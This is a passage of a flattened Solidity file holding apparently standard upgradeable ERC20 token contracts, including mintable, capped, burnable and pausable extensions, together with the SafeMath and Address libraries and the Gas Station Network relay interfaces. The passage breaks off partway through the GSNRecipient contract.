*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
uint256[50] private ______gap;
}
/**
* @dev Extension of {ERC20} that adds a set of accounts with the {MinterRole},
* which have permission to mint (create) new tokens as they see fit.
*
* At construction, the deployer of the contract is the only minter.
*/
contract ERC20Mintable is Initializable, ERC20, MinterRole {
function initialize(address sender) public initializer {
MinterRole.initialize(sender);
}
/**
* @dev See {ERC20-_mint}.
*
* Requirements:
*
* - the caller must have the {MinterRole}.
*/
function mint(address account, uint256 amount) public onlyMinter returns (bool) {
_mint(account, amount);
return true;
}
uint256[50] private ______gap;
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be aplied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Initializable, Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function initialize(address sender) public initializer {
_owner = sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* > Note: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[50] private ______gap;
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Optional functions from the ERC20 standard.
*/
contract ERC20Detailed is Initializable, IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
function initialize(string memory name, string memory symbol, uint8 decimals) public initializer {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
uint256[50] private ______gap;
}
/**
* @dev Extension of {ERC20Mintable} that adds a cap to the supply of tokens.
*/
contract ERC20Capped is Initializable, ERC20Mintable {
uint256 private _cap;
/**
* @dev Sets the value of the `cap`. This value is immutable, it can only be
* set once during construction.
*/
function initialize(uint256 cap, address sender) public initializer {
ERC20Mintable.initialize(sender);
require(cap > 0, "ERC20Capped: cap is 0");
_cap = cap;
}
/**
* @dev Returns the cap on the token's total supply.
*/
function cap() public view returns (uint256) {
return _cap;
}
/**
* @dev See {ERC20Mintable-mint}.
*
* Requirements:
*
* - `value` must not cause the total supply to go over the cap.
*/
function _mint(address account, uint256 value) internal {
require(totalSupply().add(value) <= _cap, "ERC20Capped: cap exceeded");
super._mint(account, value);
}
uint256[50] private ______gap;
}
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
contract ERC20Burnable is Initializable, Context, ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public {
_burn(_msgSender(), amount);
}
/**
* @dev See {ERC20-_burnFrom}.
*/
function burnFrom(address account, uint256 amount) public {
_burnFrom(account, amount);
}
uint256[50] private ______gap;
}
contract PauserRole is Initializable, Context {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private _pausers;
function initialize(address sender) public initializer {
if (!isPauser(sender)) {
_addPauser(sender);
}
}
modifier onlyPauser() {
require(isPauser(_msgSender()), "PauserRole: caller does not have the Pauser role");
_;
}
function isPauser(address account) public view returns (bool) {
return _pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(_msgSender());
}
function _addPauser(address account) internal {
_pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
_pausers.remove(account);
emit PauserRemoved(account);
}
uint256[50] private ______gap;
}
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
contract Pausable is Initializable, Context, PauserRole {
/**
* @dev Emitted when the pause is triggered by a pauser (`account`).
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by a pauser (`account`).
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state. Assigns the Pauser role
* to the deployer.
*/
function initialize(address sender) public initializer {
PauserRole.initialize(sender);
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
/**
* @dev Called by a pauser to pause, triggers stopped state.
*/
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Called by a pauser to unpause, returns to normal state.
*/
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[50] private ______gap;
}
/**
* @title Pausable token
* @dev ERC20 with pausable transfers and allowances.
*
* Useful if you want to stop trades until the end of a crowdsale, or have
* an emergency switch for freezing all token transfers in the event of a large
* bug.
*/
contract ERC20Pausable is Initializable, ERC20, Pausable {
function initialize(address sender) public initializer {
Pausable.initialize(sender);
}
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
return super.approve(spender, value);
}
function increaseAllowance(address spender, uint256 addedValue) public whenNotPaused returns (bool) {
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(address spender, uint256 subtractedValue) public whenNotPaused returns (bool) {
return super.decreaseAllowance(spender, subtractedValue);
}
uint256[50] private ______gap;
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
/**
* @dev Base interface for a contract that will be called via the GSN from {IRelayHub}.
*
* TIP: You don't need to write an implementation yourself! Inherit from {GSNRecipient} instead.
*/
interface IRelayRecipient {
/**
* @dev Returns the address of the {IRelayHub} instance this recipient interacts with.
*/
function getHubAddr() external view returns (address);
/**
* @dev Called by {IRelayHub} to validate if this recipient accepts being charged for a relayed call. Note that the
* recipient will be charged regardless of the execution result of the relayed call (i.e. if it reverts or not).
*
* The relay request was originated by `from` and will be served by `relay`. `encodedFunction` is the relayed call
* calldata, so its first four bytes are the function selector. The relayed call will be forwarded `gasLimit` gas,
* and the transaction executed with a gas price of at least `gasPrice`. `relay`'s fee is `transactionFee`, and the
* recipient will be charged at most `maxPossibleCharge` (in wei). `nonce` is the sender's (`from`) nonce for
* replay attack protection in {IRelayHub}, and `approvalData` is a optional parameter that can be used to hold a signature
* over all or some of the previous values.
*
* Returns a tuple, where the first value is used to indicate approval (0) or rejection (custom non-zero error code,
* values 1 to 10 are reserved) and the second one is data to be passed to the other {IRelayRecipient} functions.
*
* {acceptRelayedCall} is called with 50k gas: if it runs out during execution, the request will be considered
* rejected. A regular revert will also trigger a rejection.
*/
function acceptRelayedCall(
address relay,
address from,
bytes calldata encodedFunction,
uint256 transactionFee,
uint256 gasPrice,
uint256 gasLimit,
uint256 nonce,
bytes calldata approvalData,
uint256 maxPossibleCharge
)
external
view
returns (uint256, bytes memory);
/**
* @dev Called by {IRelayHub} on approved relay call requests, before the relayed call is executed. This allows to e.g.
* pre-charge the sender of the transaction.
*
* `context` is the second value returned in the tuple by {acceptRelayedCall}.
*
* Returns a value to be passed to {postRelayedCall}.
*
* {preRelayedCall} is called with 100k gas: if it runs out during exection or otherwise reverts, the relayed call
* will not be executed, but the recipient will still be charged for the transaction's cost.
*/
function preRelayedCall(bytes calldata context) external returns (bytes32);
/**
* @dev Called by {IRelayHub} on approved relay call requests, after the relayed call is executed. This allows to e.g.
* charge the user for the relayed call costs, return any overcharges from {preRelayedCall}, or perform
* contract-specific bookkeeping.
*
* `context` is the second value returned in the tuple by {acceptRelayedCall}. `success` is the execution status of
* the relayed call. `actualCharge` is an estimate of how much the recipient will be charged for the transaction,
* not including any gas used by {postRelayedCall} itself. `preRetVal` is {preRelayedCall}'s return value.
*
*
* {postRelayedCall} is called with 100k gas: if it runs out during execution or otherwise reverts, the relayed call
* and the call to {preRelayedCall} will be reverted retroactively, but the recipient will still be charged for the
* transaction's cost.
*/
function postRelayedCall(bytes calldata context, bool success, uint256 actualCharge, bytes32 preRetVal) external;
}
/**
* @dev Interface for `RelayHub`, the core contract of the GSN. Users should not need to interact with this contract
* directly.
*
* See the https://github.com/OpenZeppelin/openzeppelin-gsn-helpers[OpenZeppelin GSN helpers] for more information on
* how to deploy an instance of `RelayHub` on your local test network.
*/
interface IRelayHub {
// Relay management
/**
* @dev Adds stake to a relay and sets its `unstakeDelay`. If the relay does not exist, it is created, and the caller
* of this function becomes its owner. If the relay already exists, only the owner can call this function. A relay
* cannot be its own owner.
*
* All Ether in this function call will be added to the relay's stake.
* Its unstake delay will be assigned to `unstakeDelay`, but the new value must be greater or equal to the current one.
*
* Emits a {Staked} event.
*/
function stake(address relayaddr, uint256 unstakeDelay) external payable;
/**
* @dev Emitted when a relay's stake or unstakeDelay are increased
*/
event Staked(address indexed relay, uint256 stake, uint256 unstakeDelay);
/**
* @dev Registers the caller as a relay.
* The relay must be staked for, and not be a contract (i.e. this function must be called directly from an EOA).
*
* This function can be called multiple times, emitting new {RelayAdded} events. Note that the received
* `transactionFee` is not enforced by {relayCall}.
*
* Emits a {RelayAdded} event.
*/
function registerRelay(uint256 transactionFee, string calldata url) external;
/**
* @dev Emitted when a relay is registered or re-registerd. Looking at these events (and filtering out
* {RelayRemoved} events) lets a client discover the list of available relays.
*/
event RelayAdded(address indexed relay, address indexed owner, uint256 transactionFee, uint256 stake, uint256 unstakeDelay, string url);
/**
* @dev Removes (deregisters) a relay. Unregistered (but staked for) relays can also be removed.
*
* Can only be called by the owner of the relay. After the relay's `unstakeDelay` has elapsed, {unstake} will be
* callable.
*
* Emits a {RelayRemoved} event.
*/
function removeRelayByOwner(address relay) external;
/**
* @dev Emitted when a relay is removed (deregistered). `unstakeTime` is the time when unstake will be callable.
*/
event RelayRemoved(address indexed relay, uint256 unstakeTime);
/** Deletes the relay from the system, and gives back its stake to the owner.
*
* Can only be called by the relay owner, after `unstakeDelay` has elapsed since {removeRelayByOwner} was called.
*
* Emits an {Unstaked} event.
*/
function unstake(address relay) external;
/**
* @dev Emitted when a relay is unstaked for, including the returned stake.
*/
event Unstaked(address indexed relay, uint256 stake);
// States a relay can be in
enum RelayState {
Unknown, // The relay is unknown to the system: it has never been staked for
Staked, // The relay has been staked for, but it is not yet active
Registered, // The relay has registered itself, and is active (can relay calls)
Removed // The relay has been removed by its owner and can no longer relay calls. It must wait for its unstakeDelay to elapse before it can unstake
}
/**
* @dev Returns a relay's status. Note that relays can be deleted when unstaked or penalized, causing this function
* to return an empty entry.
*/
function getRelay(address relay) external view returns (uint256 totalStake, uint256 unstakeDelay, uint256 unstakeTime, address payable owner, RelayState state);
// Balance management
/**
* @dev Deposits Ether for a contract, so that it can receive (and pay for) relayed transactions.
*
* Unused balance can only be withdrawn by the contract itself, by calling {withdraw}.
*
* Emits a {Deposited} event.
*/
function depositFor(address target) external payable;
/**
* @dev Emitted when {depositFor} is called, including the amount and account that was funded.
*/
event Deposited(address indexed recipient, address indexed from, uint256 amount);
/**
* @dev Returns an account's deposits. These can be either a contracts's funds, or a relay owner's revenue.
*/
function balanceOf(address target) external view returns (uint256);
/**
* Withdraws from an account's balance, sending it back to it. Relay owners call this to retrieve their revenue, and
* contracts can use it to reduce their funding.
*
* Emits a {Withdrawn} event.
*/
function withdraw(uint256 amount, address payable dest) external;
/**
* @dev Emitted when an account withdraws funds from `RelayHub`.
*/
event Withdrawn(address indexed account, address indexed dest, uint256 amount);
// Relaying
/**
* @dev Checks if the `RelayHub` will accept a relayed operation.
* Multiple things must be true for this to happen:
* - all arguments must be signed for by the sender (`from`)
* - the sender's nonce must be the current one
* - the recipient must accept this transaction (via {acceptRelayedCall})
*
* Returns a `PreconditionCheck` value (`OK` when the transaction can be relayed), or a recipient-specific error
* code if it returns one in {acceptRelayedCall}.
*/
function canRelay(
address relay,
address from,
address to,
bytes calldata encodedFunction,
uint256 transactionFee,
uint256 gasPrice,
uint256 gasLimit,
uint256 nonce,
bytes calldata signature,
bytes calldata approvalData
) external view returns (uint256 status, bytes memory recipientContext);
// Preconditions for relaying, checked by canRelay and returned as the corresponding numeric values.
enum PreconditionCheck {
OK, // All checks passed, the call can be relayed
WrongSignature, // The transaction to relay is not signed by requested sender
WrongNonce, // The provided nonce has already been used by the sender
AcceptRelayedCallReverted, // The recipient rejected this call via acceptRelayedCall
InvalidRecipientStatusCode // The recipient returned an invalid (reserved) status code
}
/**
* @dev Relays a transaction.
*
* For this to succeed, multiple conditions must be met:
* - {canRelay} must `return PreconditionCheck.OK`
* - the sender must be a registered relay
* - the transaction's gas price must be larger or equal to the one that was requested by the sender
* - the transaction must have enough gas to not run out of gas if all internal transactions (calls to the
* recipient) use all gas available to them
* - the recipient must have enough balance to pay the relay for the worst-case scenario (i.e. when all gas is
* spent)
*
* If all conditions are met, the call will be relayed and the recipient charged. {preRelayedCall}, the encoded
* function and {postRelayedCall} will be called in that order.
*
* Parameters:
* - `from`: the client originating the request
* - `to`: the target {IRelayRecipient} contract
* - `encodedFunction`: the function call to relay, including data
* - `transactionFee`: fee (%) the relay takes over actual gas cost
* - `gasPrice`: gas price the client is willing to pay
* - `gasLimit`: gas to forward when calling the encoded function
* - `nonce`: client's nonce
* - `signature`: client's signature over all previous params, plus the relay and RelayHub addresses
* - `approvalData`: dapp-specific data forwared to {acceptRelayedCall}. This value is *not* verified by the
* `RelayHub`, but it still can be used for e.g. a signature.
*
* Emits a {TransactionRelayed} event.
*/
function relayCall(
address from,
address to,
bytes calldata encodedFunction,
uint256 transactionFee,
uint256 gasPrice,
uint256 gasLimit,
uint256 nonce,
bytes calldata signature,
bytes calldata approvalData
) external;
/**
* @dev Emitted when an attempt to relay a call failed.
*
* This can happen due to incorrect {relayCall} arguments, or the recipient not accepting the relayed call. The
* actual relayed call was not executed, and the recipient not charged.
*
* The `reason` parameter contains an error code: values 1-10 correspond to `PreconditionCheck` entries, and values
* over 10 are custom recipient error codes returned from {acceptRelayedCall}.
*/
event CanRelayFailed(address indexed relay, address indexed from, address indexed to, bytes4 selector, uint256 reason);
/**
* @dev Emitted when a transaction is relayed.
* Useful when monitoring a relay's operation and relayed calls to a contract
*
* Note that the actual encoded function might be reverted: this is indicated in the `status` parameter.
*
* `charge` is the Ether value deducted from the recipient's balance, paid to the relay's owner.
*/
event TransactionRelayed(address indexed relay, address indexed from, address indexed to, bytes4 selector, RelayCallStatus status, uint256 charge);
// Reason error codes for the TransactionRelayed event
enum RelayCallStatus {
OK, // The transaction was successfully relayed and execution successful - never included in the event
RelayedCallFailed, // The transaction was relayed, but the relayed call failed
PreRelayedFailed, // The transaction was not relayed due to preRelatedCall reverting
PostRelayedFailed, // The transaction was relayed and reverted due to postRelatedCall reverting
RecipientBalanceChanged // The transaction was relayed and reverted due to the recipient's balance changing
}
/**
* @dev Returns how much gas should be forwarded to a call to {relayCall}, in order to relay a transaction that will
* spend up to `relayedCallStipend` gas.
*/
function requiredGas(uint256 relayedCallStipend) external view returns (uint256);
/**
* @dev Returns the maximum recipient charge, given the amount of gas forwarded, gas price and relay fee.
*/
function maxPossibleCharge(uint256 relayedCallStipend, uint256 gasPrice, uint256 transactionFee) external view returns (uint256);
// Relay penalization.
// Any account can penalize relays, removing them from the system immediately, and rewarding the
// reporter with half of the relay's stake. The other half is burned so that, even if the relay penalizes itself, it
// still loses half of its stake.
/**
* @dev Penalize a relay that signed two transactions using the same nonce (making only the first one valid) and
* different data (gas price, gas limit, etc. may be different).
*
* The (unsigned) transaction data and signature for both transactions must be provided.
*/
function penalizeRepeatedNonce(bytes calldata unsignedTx1, bytes calldata signature1, bytes calldata unsignedTx2, bytes calldata signature2) external;
/**
* @dev Penalize a relay that sent a transaction that didn't target `RelayHub`'s {registerRelay} or {relayCall}.
*/
function penalizeIllegalTransaction(bytes calldata unsignedTx, bytes calldata signature) external;
/**
* @dev Emitted when a relay is penalized.
*/
event Penalized(address indexed relay, address sender, uint256 amount);
/**
* @dev Returns an account's nonce in `RelayHub`.
*/
function getNonce(address from) external view returns (uint256);
}
/**
* @dev Base GSN recipient contract: includes the {IRelayRecipient} interface
* and enables GSN support on all contracts in the inheritance tree.
*
* TIP: This contract is abstract. The functions {IRelayRecipient-acceptRelayedCall},
* {_preRelayedCall}, and {_postRelayedCall} are not implemented and must be
* provided by derived contracts. See the
* xref:ROOT:gsn-strategies.adoc#gsn-strategies[GSN strategies] for more
* information on how to use the pre-built {GSNRecipientSignature} and
* {GSNRecipientERC20Fee}, or how to write your own.
*/
contract GSNRecipient is Initializable, IRelayRecipient, Context {
function initialize() public initializer {
if (_relayHub == address(0)) {
setDefaultRelayHub();
}
}
function setDefaultRelayHub() public {
_upgradeRelayHub(0xD216153c06E857cD7f72665E0aF1d7D82172F494);
}
// Default RelayHub address, deployed on mainnet and all testnets at the same address
address private _relayHub;
uint256 constant private RELAYED_CALL_ACCEPTED = 0;
uint256 constant private RELAYED_CALL_REJECTED = 11;
// How much gas is forwarded to postRelayedCall
uint256 constant internal POST_RELAYED_CALL_MAX_GAS = 100000;
/**
* @dev Emitted when a contract changes its {IRelayHub} contract to a new one.
*/
event RelayHubChanged(address indexed oldRelayHub, address indexed newRelayHub);
/**
* @dev Returns the address of the {IRelayHub} contract for this recipient.
*/
function getHubAddr() public view returns (address) {
return _relayHub;
}
/**
* @dev Switches to a new {IRelayHub} instance. This method is added for future-proofing: there's no reason to not
* use the default instance.
*
* IMPORTANT: After upgrading, the {GSNRecipient} will no longer be able to receive relayed calls from the old
* {IRelayHub} instance. Additionally, all funds should be previously withdrawn via {_withdrawDeposits}.
*/
function _upgradeRelayHub(address newRelayHub) internal {
address currentRelayHub = _relayHub;
require(newRelayHub != address(0), "GSNRecipient: new RelayHub is the zero address");
require(newRelayHub != currentRelayHub, "GSNRecipient: new RelayHub is the current one");
emit RelayHubChanged(currentRelayHub, newRelayHub);
_relayHub = newRelayHub;
}
/**
* @dev Returns the version string of the {IRelayHub} for which this recipient implementation was built. If
* {_upgradeRelayHub} is used, the new {IRelayHub} instance should be compatible with this version.
*/
// This function is view for future-proofing, it may require reading from
// storage in the future.
function relayHubVersion() public view returns (string memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return "1.0.0";
}
/**
* @dev Withdraws the recipient's deposits in `RelayHub`.
*
* Derived contracts should expose this in an external interface with proper access control.
*/
function _withdrawDeposits(uint256 amount, address payable payee) internal {
IRelayHub(_relayHub).withdraw(amount, payee);
}
// Overrides for Context's functions: when called from RelayHub, sender and
// data require some pre-processing: the actual sender is stored at the end
// of the call data, which in turns means it needs to be removed from it
// when handling said data.
/**
* @dev Replacement for msg.sender. Returns the actual sender of a transaction: msg.sender for regular transactions,
* and the end-user for GSN relayed calls (where msg.sender is actually `RelayHub`).
*
* IMPORTANT: Contracts derived from {GSNRecipient} should never use `msg.sender`, and use {_msgSender} instead.
*/
function _msgSender() internal view returns (address payable) {
if (msg.sender != _relayHub) {
return msg.sender;
} else {
return _getRelayedCallSender();
}
}
/**
* @dev Replacement for msg.data. Returns the actual calldata of a transaction: msg.data for regular transactions,
* and a reduced version for GSN relayed calls (where msg.data contains additional information).
*
* IMPORTANT: Contracts derived from {GSNRecipient} should never use `msg.data`, and use {_msgData} instead.
*/
function _msgData() internal view returns (bytes memory) {
if (msg.sender != _relayHub) {
return msg.data;
} else {
return _getRelayedCallData();
}
}
// Base implementations for pre and post relayedCall: only RelayHub can invoke them, and data is forwarded to the
// internal hook.
/**
* @dev See `IRelayRecipient.preRelayedCall`.
*
* This function should not be overriden directly, use `_preRelayedCall` instead.
*
* * Requirements:
*
* - the caller must be the `RelayHub` contract.
*/
function preRelayedCall(bytes calldata context) external returns (bytes32) {
require(msg.sender == getHubAddr(), "GSNRecipient: caller is not RelayHub");
return _preRelayedCall(context);
}
/**
* @dev See `IRelayRecipient.preRelayedCall`.
*
* Called by `GSNRecipient.preRelayedCall`, which asserts the caller is the `RelayHub` contract. Derived contracts
* must implement this function with any relayed-call preprocessing they may wish to do.
*
*/
function _preRelayedCall(bytes memory context) internal returns (bytes32);
/**
* @dev See `IRelayRecipient.postRelayedCall`.
*
* This function should not be overriden directly, use `_postRelayedCall` instead.
*
* * Requirements:
*
* - the caller must be the `RelayHub` contract.
*/
function postRelayedCall(bytes calldata context, bool success, uint256 actualCharge, bytes32 preRetVal) external {
